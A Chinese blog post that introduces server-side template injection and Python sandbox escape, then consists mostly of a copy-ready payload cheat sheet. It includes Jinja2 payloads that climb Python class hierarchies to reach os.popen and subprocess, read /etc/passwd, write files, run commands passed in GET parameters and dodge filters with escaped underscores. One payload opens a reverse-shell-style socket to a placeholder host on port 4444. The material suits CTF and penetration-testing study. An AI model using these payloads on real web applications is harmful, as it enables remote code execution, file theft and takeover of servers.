首页 > 其他分享 >模板注入&沙箱逃逸

模板注入&沙箱逃逸

时间:2024-05-29 23:32:42浏览次数:13  
标签:__ .__ subclasses 逃逸 ls 沙箱 os class 模板

模板注入

SSTI服务端模板注入

一、什么是SSTI

首先web服务的实现中使用了模板引擎,并且将参数传递的值当作模板一部分进行渲染(渲染这个词可能有点抽象,可以简单理解为将参数作为代码的一部分解释并执行了),这就是SSTI,服务端模板执行。

模板注入原理

服务端可以使用哪些模板引擎?

由于服务端可以由python、java、php、javascript、ruby、golang等语言编写,所以可以选择的模板引擎挺多的,常见的有Jinja2、Django、Velocity、Groovy、Latte、ERB等待。

二、检测

1.利用Template Injection Table来检测

Template Injection Table:https://cheatsheet.hackmanit.de/template-injection-table/index.html

通过Template Injection Table复制中的测试payload输入到参数中并执行,查看回显的报错内容来判断模板类型。

 每一个测试payload下面的行都是代表一种模板执行后返回的结果,如“{#${{1}}#}}”,尝试“http://114.67.175.224:15233/?flag={#${{1}}#}}”,结果如下图所示。

 2.工具检测(最简单的方法)

可以通过工具tinja进行检测。

https://github.com/Hackmanit/TInjA

3.人工尝试

Jinja2 (Python)

{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>

 更多尝试方法可以参考https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection

在利用时还可以尝试一些特殊变量:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt

CSTI客户端模板注入

客户端只能使用 JavaScript 模板引擎。

 

沙箱逃逸

python沙箱逃逸

常见命令执行方式

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

另外,Python2 input() 函数允许在程序崩溃之前执行 Python 代码。

 

先到达顶层类'object',方法如下:

{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

我们可以通过查看python预安装的库,看有哪些类可以使用。

预安装包查看:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

读写文件

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

命令执行

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

 命令执行--升级版

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

 

使用默认安装的 Python 包绕过沙盒

 

标签:__,.__,subclasses,逃逸,ls,沙箱,os,class,模板
From: https://www.cnblogs.com/glodears/p/18214431

相关文章

  • [ C++ ] 深入理解模板( 初 阶 )
    函数模板函数模板格式template<typenameT1,typenameT2,......,typenameTn>返回值类型函数名(参数列表){}注意:typename是用来定义模板参数关键字,也可以使用class(切记:不能使用struct代替class)函数模板的实例化模板参数的匹配原则1.一个非模板函数可以和......
  • LCT 模板
    1constintN=1e5+5;23inta[N];45structLCT{6structTree{7intson[2],tag,val,fa;8}tr[N];910voidinit(intro){11tr[ro].son[0]=tr[ro].son[1]=tr[ro].fa=tr[ro].val=0;12......
  • 使用 opencv 实现模板匹配功能前的预处理要求
    我使用opencv.TM_CCOEFF_NORMED函数来匹配发票模板。但是,模板匹配功能并没有产生准确的结果。匹配准确率相当低,只有50%。您能否建议我在流程中应包含或更改哪些内容以提高准确性?templateMap=cv.matchTemplate(img_r,resized_template,cv.TM_CCOEFF_NORMED)m......
  • 学习VUE3——模板引用ref
    在某些情况下,我们仍然需要直接访问底层DOM元素。要实现这一点,我们可以使用特殊的refattribute:<inputref="input">ref是一个特殊的attribute,和v-for章节中提到的key类似。它允许我们在一个特定的DOM元素或子组件实例被挂载后,获得对它的直接引用。这可能很有用,比......
  • 【模板】分裂合并 WBLT(自用)
    #include<bits/stdc++.h>usingnamespacestd;#ifdefLOCAL#definedebug(...)fprintf(stderr,__VA_ARGS__)#else#defineendl"\n"#definedebug(...)void(0)#endifusingLL=longlong;template<intN>structwblt{intch[N<......
  • c++ 设计模板
     ========一、设计模式的分类总体来说设计模式分为三大类创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。行为型模式,共十一种:策略模式、模板......
  • 解决Odoo Email模板中的时间与实际时间相差8小时的问题
     要解决OdooEmail模板中的时间与实际时间相差8小时的问题,最好的方法是先在服务器端处理时间,然后在模板中调用处理后的时间。在你的截图中,直接在模板中使用了`datetime.datetime.now()`,这会导致时区问题。以下是详细步骤:###1.在模型中添加一个方法来处理时区转换在你的模......
  • SUMER UI3.0组件库,基于Uni-app前端框架!一端开发,多端运行!本组件库可快速二次开发各种类
    sumer-ui介绍基于uView微信小程序UI组件库,兼容vue3。本插件是SUMER组件库,只提供组件库源码下载(不包含模板源码),本组件库可快速二次开发各种类别各行业模板,包括:商城、视频、直播、聊天、支付、新闻、社区、地图、导航、出行、社区、博客、新闻、游戏、影视、订票、广告等,......
  • 揭秘华为如此多成功项目的产品关键——Charter模板
    很多推行IPD(集成产品开发)体系的公司在正式研发产品前,需要开发Charter,以确保产品研发方向的正确。Charter,即项目任务书或商业计划书。Charter的呈现标志着产品规划阶段的完成,能为产品开发的投资评估和决策提供关键依据。在IPD体系中,Charter的核心逻辑主要体现在两点:一是产品值不值......
  • 第七十五节 Java设计模式 - 模板方法模式
    Java设计模式-模板方法模式在模板模式中,父抽象类公开几个抽象方法供子类实现。在父抽象类中有另一个方法或几个方法使用抽象方法来实现业务逻辑。抽象方法通常用于父类所需的每个步骤。例如,为了使用新的软件,我们需要下载,安装,配置和运行。如果我们要使用模板模式来编码逻......